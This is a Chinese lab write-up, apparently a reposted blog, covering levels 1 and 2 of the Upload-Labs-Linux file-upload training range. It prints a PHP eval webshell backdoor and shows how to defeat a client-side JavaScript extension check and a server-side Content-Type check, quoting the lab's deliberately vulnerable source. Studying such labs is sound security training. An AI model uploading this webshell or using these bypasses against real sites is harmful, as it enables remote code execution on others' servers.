当前位置:   article > 正文

Upload-Labs-Linux文件上传20关

upload-labs-linux

pass-01

前端js验证

先上传一个php文件9.php

文件内容

执行phpinfo()并且写入后门

<?php phpinfo();eval($_POST['d']);?>

提交上传

检测文件名后缀了,要求只能传.jpg|png|.gif类型的文件

查看提示

提示目标是客户端js检测,在客户端通过js文件对用户上传的文件名进行检测

前端js文件验证:

文件上传时,用户选择文件或者提交时,有些网站会在前端对文件名进行验证,一般检测后缀名是否为允许上传的格式,如果上传的格式不对,则弹窗出提示文字。此时数据包并没有提交到服务器,只是在客户端通过 js 文件进行校验,验证不通过则不会提交到服务器进行处理。

判断是服务器验证还是前端js验证的方法:

F12,查看网络请求,然后上传9.php,如果有捕捉到网络请求,就是服务器验证,没有捕捉到网络请求,就是前端验证

 没有捕捉到网络请求,说明验证是在前端

因为如果是拿到服务器去验证,至少得有一个向服务器发送请求的操作,不然文件到不了服务器那里,网络会捕捉这个发送到服务器的操作,但现在网络没有请求

用来做前端js验证的代码可以在F12里面找到

黑盒测试(不知道源码)不太容易找到,白盒测试(知道源码)容易找到

因为知道源码的情况下,可以通过源码里面的关键函数名去找到js验证的代码

显示源码

  1. function checkFile() {
  2. var file = document.getElementsByName('upload_file')[0].value;
  3. if (file == null || file == "") {
  4. alert("请选择要上传的文件!");
  5. return false;
  6. }
  7. //定义允许上传的文件类型
  8. var allow_ext = ".jpg|.png|.gif";
  9. //提取上传文件的类型
  10. var ext_name = file.substring(file.lastIndexOf("."));
  11. //判断上传文件类型是否允许上传
  12. if (allow_ext.indexOf(ext_name + "|") == -1) {
  13. var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
  14. alert(errMsg);
  15. return false;
  16. }
  17. }

可以看到整块规则都是由函数checkFile()来完成,这个函数就是关键函数

F12搜索函数名checkFile,就可以找到js验证代码的位置

<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
                

如果是黑盒测试,搜索method一般也找的到

这个方法checkFile()规定限制了我们的文件后缀

找到他在前端的位置的目的是把他删掉,从而实现绕过前端js验证

删掉之后,上传9.php,上传成功

pass-02

检查文件的头类型

MIME,头类型

有些上传模块,会对 http 的类型头进行检测,如果是图片类型,允许上传文件到服务器,否则返回上传失败。因为服务端是通过 content-type 判断类型,content-type 在客户端可被控制修改,则此文件上传也有可能被绕过的风险 

 绕过办法:在Request数据包中修改文件类型是 image/jpeg 或者 image/png即可绕过

源码:

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) { #这里是上传
  4. if (file_exists(UPLOAD_PATH)) { #这里是检查有没有上传目录
  5. if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { #这里意思是允许上传image,jpg,png,gif文件类型的文件,注意的是他这里只检查类型,不检查后缀
  6. $temp_file = $_FILES['upload_file']['tmp_name']; #这个temp_file意思是创建一个临时文件
  7. $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] #这个意思是把这个创建的临时文件移动到这个目录里面
  8. if (move_uploaded_file($temp_file, $img_path)) {
  9. $is_upload = true;
  10. } else {
  11. $msg = '上传出错!';
  12. }
  13. } else {
  14. $msg = '文件类型不正确,请重新上传!';
  15. }
  16. } else {
  17. $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; #没有上传目录时,就提醒这个,"文件夹不存在,请手工创建",所以我们要创建一个目upload
  18. }
  19. }

burpsuite抓文件上传包,上传php文件,将request数据包中的content-type修改为image/jpeg或者image/png,发送

上传成功

文件类型Content-type有很多,我们只需要修改成可以通过检测的就行,如下举部分例子

    text/html : HTML格式
    text/plain :纯文本格式
    text/xml : XML格式
    image/gif :gif图片格式
    image/jpeg :jpg图片格式
    image/png:png图片格式 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/一键难忘520/article/detail/848608
推荐阅读
相关标签
  

闽ICP备14008679号